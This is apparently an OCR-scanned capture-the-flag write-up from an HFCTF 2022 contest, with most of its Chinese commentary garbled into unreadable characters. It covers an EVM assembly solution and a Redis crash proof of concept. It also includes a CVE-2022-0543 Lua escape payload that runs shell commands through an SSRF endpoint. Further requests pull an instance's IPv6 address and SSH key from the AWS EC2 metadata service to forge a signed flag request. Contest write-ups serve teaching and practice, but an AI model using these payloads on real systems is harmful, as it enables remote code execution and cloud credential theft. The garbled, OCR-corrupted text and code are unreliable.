XTEAEAZ AT, BRMBMINRIEES, TR EREE 2.72, IFRTEREAERARAEE
3., AXTHEATNRI, UNERINSMRAESN, FXE—HD, MEESNERXBEETETITHN. &
&, FENEMSREIEEN, KNRERELEEELSHEE (? )

static

BAEMESE extcodesize(msg.sender) < 0x80 Z/Gi##1T 7 ™/K staticcall, FHEKRMRIIIMERE—" it
A2 REIEEM2, &mEA&ESendFlagEstt,
EEMES T EREMIX staticcall #38E T HHEMgasE: 10w,

R staticcal P AIESFHR . AORIMNER U EOE AR A AT HITEPRSHNE, MR REASATEEER
storageZTE10% B HHVRE.

AL WMEIERRFtagastEE . SE1ERE. THstorageTEMMR"TE— R —H"staticcal FIREIRERE
e?

HEFRTE & R 2 S BRER BB Z FR AR BRI LR TR FriagastBRE)" IS M2 R —E /eI RILH .

WiAE AL rgasRENNEVA F staticcallTFita EMIgasSE, TEUAT ARENECAGMgasRE, HEIF
i, HChallengeEX B § i Tstaticcal AR NgasRE/NFH A HHistaticcal|IFFEAgasE(10wW)EY, HIFSL
BERSSERRE A gasEM AR IARE 10wk,

AR FRER AR E N IR IEgashIREH o B HIRT A Kstaticcall, £ Challenge& 55— KstaticcallBtBETS I hgas i
A, ZBIRstaticcalllf BAIE#gasHPIRSHEH AN, FHATIRSRIEIRT, HMREARRIE.

BT REENEFEARNgethiRA LIEFENgasE R AERE, BT T gethiBLE X fFgenesis.json, {EFik
FAMEIXIN G SAE RS R —HER.

SR, PR T REBRREL —TISENENgasE, BRIBIERTR,

E3K extcodesize(msg.sender) < 0x80, FAisolidity/RIB4mIFLRVEAATEEHEXTEKRN, FEEXZFHS
FEEVMFETE, Ox80AR—NMREMIRSI, EMUSTH B FRERIIINEE.,

TR FFEERRIWPERIREIOXS0RRHI BT LAMERproxy&£94:1d, 1¥IEIP-1167: Minimal Proxy
Contract

FEFTRYMUENFS, hal{EB TR, # ethereum/py-evm#JAinevsia/evm-assembler, &ZE—EF5)it
Hjumpithi A9 KHIN,

TENUHBASNFTEEAE):

gas
push3 0x01869e
calldatasize
pushl 0

Tt

push __attack__
jumpi

eq

push _1__
jumpi

pushl 2


https://eips.ethereum.org/EIPS/eip-214
https://eips.ethereum.org/EIPS/eip-1167
https://github.com/ethereum/py-evm
https://github.com/Ainevsia/evm-assembler
https://github.com/Ainevsia/evm-assembler/blob/main/gas.txt

push __return__
Jjump
1 :
jumpdest
pushl 1
push __return__
jump
__return__:
jumpdest
pushl 0
mstore
pushl 0x20
pushl 0
return

__attack__:
jumpdest
pushl 0
push4 0x890d6908
dup?2
mstore
dupl
pushl 4
pushl 28
dup3
push20 0x066036el1F2C49EC994b9D2797932fED48230Ce2f
push3 0x019258
call
pushl 1
eq
push __graceful__
jumpi
revert
__graceful__:
jumpdest
stop

attacker&§ A E LiRiEcalldatasize¥ Il L 2challengel@ABE S, MERIEgasREREITEMIE.
expF A IAERBIREAMATGNgas, —HETIRIY—

more

Plain Text

KOI8-R -> Windows 1252 RiBiE1%., EXHHRSUbIHKEIREO,


https://github.com/Ainevsia/HF2022-vdq-mva-fpbe-static/tree/main/static

print(
bytearray(
[x+128 for x 1in

base64.b64decode (' ZE9CUk8gUEIWQUXPVOFUWCBOQSBNQVReLCBXWSBETOXWT 1kgUEVSRVAFULRIIFXUTYBO
QSBBTkdMSUpTSOTKIFFawUsuIHRXTOogUOVLUKVUIFNPUIRPSVQYSVOgRFAVSCBTTEIXL1B3UOUgQTVLV1kgUIR
ST150WUUUIHFCTE9eT11KIEFSQ1VaLiB2RUXBRUOgVOFNIEQUTETeTkOHTYBETIEU")

]
).decode('koi8-r")
)
Quest-Crash

. FRMITRSIRISRARRERE,
2. FAissueB[a)@i# TCrash

https://github.com/redis/redis/issues/2855

PoC: GET aa\nEVAL "struct.pack('>12147483648', '10')" 0
HthfZ%: GET a\nDEBUG SEGFAULT

XERRICEREFRNANE T, TickRtredisNERNAFER, SH TR
H, ,uﬁﬁﬁ%ﬁ’lﬁﬁﬁﬂ]m TRZE.

Quest-RCE

CVE-2022-0543

POST http://127.0.0.1:5000/sendreq
Content-Type: application/json

I SETHIREECcrashiO A=IEFT

{"query":"GET a\neval 'local io_1 = package.loadlib(\"/usr/1ib/x86_64-11nux-
gnu/Tiblua5.1.s0.0\", \"Tuaopen_io\"); local io = io_1(); Tocal f = io.popen(\"1s -alh

/\", \"r\'"); Tocal res = f:read(\"*a\"); f:close(); return res'

Meta
EitifE2

ME 1P, BILSHEIVPS,

ip: "54.64.248.8"

0"}

hostname: "ec2-54-64-248-8.ap-northeast-1.compute.amazonaws.com"

city: "Tokyo"

region: "Tokyo"

country: "JP"

Toc: "35.6895,139.6917"

org: "AS16509 Amazon.com, Inc.


https://github.com/redis/redis/issues/2855

MRFE LMD ANBIEFRETIRS IS, BIAKEY Web 2 &I£TBEKLS Flag Server, {182 GetFlag 15 RERABEER
7.
BT status S A LASAN:

Web server WIFFRE IPVA.

oK
Listen Address: 0.0.0.0
Listen Port: 13512

Flag server Wx0IfFRA IPv6.

oK
Listen Address:
Listen Port: 14571

M@ = — MR, FIARIIAIEL web server BOE KRG 2

op": "time",
llpathll: ll/rpcll

path /rpc A E, X THESHZ web server 154 flag server B API A,

SSRF

AHEZIRENEK flag server BY path SELE R SSRF 8, (£ @ KIXZIEKRRY host,
£ SSRF M B 2RIRRSF[IZER—TI1EKR, MEBN., KiX:

POST /req_flag_server HTTP/1.1

Host: 54.64.248.8:13512

User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) ApplewebKit/537.36 (KHTML, 1ike
Gecko) Chrome/99.0.4844.51 safari/537.36

Content-Type: application/json

Accept: */*

Content-Length: 98

{
"op": "time",
"path": "@a.b.c.d:12450/"
}
W :

POST / HTTP/1.1
Host: a.b.c.d:12450



User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

X-Signature: 7b2858d2435e4618d1cdc9c331180246f74d87b385ad253ab3b22a219b66be8d
X-Sign-Method: HMAC-SHA256

X-Sign-Key-File: /home/ubuntu/.ssh/authorized_keys
X-Flag-Server: http://[::1]:14571

Content-Length: 14

Content-Type: application/json

Authorization: Basic Wzob6MVO6MTQINzZE=

{"op": "time"}

Gk
J[A5Y

MIREEIRIEREUERIAE L, &1E flag server IiEKZ LT HIERY, #8iT HTTP SkAAY Signature RIIEE
BiE, [FRANEER HMAC-SHA256 , key {42 /home/ubuntu/.ssh/authorized_keys , i&skithit 2
http://[::1]:14571, @ ::1 X0& Flag server Bl AAL,

BEIEEFA:

1. B4 flag server YR TR IPv6, EEHZIIRSZS ALK IPV6 bl
2. SREVERAERMN KEY XHEAR.
3. HIEARBER {"op": "getflag"} MIER,

Metadata

EC2 + SSRF filiE BRI SEEW KT,

AWS RRE— P EIEMNHTTPIZ O A TRV RISEAIN — LT iR, BT IHEXMEO, A AREREI AR EZE/Y
FBER.

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

IPve

POST /req_flag_server HTTP/1.1

Host: 54.64.248.8:13512

User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) ApplewebKit/537.36 (KHTML, 1ike
Gecko) Chrome/99.0.4844.51 safari/537.36

Content-Type: application/json

Accept: */*

Content-Length: 100

op": "time",
"path": "0@169.254.169.254/latest/meta-data/ipv6"


https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

2406:dal4:444:4e00:a393:91b2:27fd:7f3

SSH Key

POST /req_flag_server HTTP/1.1

Host: 54.64.248.8:13512

User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) ApplewebKit/537.36 (KHTML, 1ike
Gecko) Chrome/99.0.4844.51 safari/537.36

content-Type: application/json

Accept: */*

Content-Length: 100

{

llopll: Ilt_imell’

"path": "@169.254.169.254/Tatest/meta-data/public-keys/0/openssh-key"
}
ssh-rsa

AAAAB3NzaClyc2 EAAAADAQABAAABAQCeALXPBYYngdhySW6ROMP4Q1' CLgm'FJ 6ewaCIrc4CQEmX+H99u17Q155z
e4sfwWHU10bouv7KK/2wFaoQhM50wPsQQCz1Ccfuuhhvzoglg2NRpz5BIIBS fKrpgBXNKk5IWFS7E+EShtMIGOVMrq
udh25ju4TzbGNezfBpcRedjwtleM3K9qwFCpKf4246bw+kcY4cQp5Suz/e/tYukeBmzQt2RAWYOZM/eNgGjutQzw
11e3v3NiJvQBTe7pPIUXKWOZWIHS3NCLaU70XnRNravFQx/BkC65zadkz6HTbYBzA7wowal juING5Ac30ahDIYn
4hxKZWSE7Spy5KFTrHjsovot ctf

Getflag

MIEZE R https://gcha.github.io/CyberChef/#recipe=HMAC(%7B'option":'Latin1",'string':'ssh-
rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABAQCeALXPBYYbSgdhysw6ROMP4QiCLgmfj6eWaClrc4CQEmMX%2
BH99ul7QJ55Ze4sfWHUIObOuV7KK/2wFaoQhM50WPsQQCZ1CfUuhhVZ0Og)g2NRpz5BI)B5fKrpgBXNK5)WFs7E
%2BEShtM]GOvMrqudh25ju4TzbGNeZfBpcRedjWt1eM3K9qwFCpKf4246bw%2BkcY4cQp5uz/e/tYukeBmZQt2
RAWyOZM/eNgGjutQzW1le3v3NijvQBTe7pPIUXKWoZWJHS3NCLaU70XnRNravFQx/BkC65ZadKZ6HIbYBzA7w
oWaJju9NG5Ac30ahDIYN4hxKZWSE7Spy5KFTrHjsovot%20ctf'%7D,'SHA256") &input=eyjvcCl6IC)nZXRmbGFnIn
0

E#{ERARSS=S IPv6 tthiltTh(a) /rpc #2000, 3REXflag:

POST /rpc HTTP/1.1

Host: [2406:dal4:444:4e00:a393:91b2:27fd:7f3]:14571

X-Signature: 25b4d583533d523e3eabf7d0479819322f51bc69e13831b433ee2cc93abde362
X-Sign-Method: HMAC-SHA256

X-Sign-Key-File: /home/ubuntu/.ssh/authorized_keys

X-Flag-Server: http://[::1]:14571

Content-Type: application/json

Content-Length: 17

{llopll: llgetf'lagll}


https://gchq.github.io/CyberChef/#recipe=HMAC(%7B

HFCTF{tMjHHZJIVVymxjDACGP9sxbmxgAtrr4}
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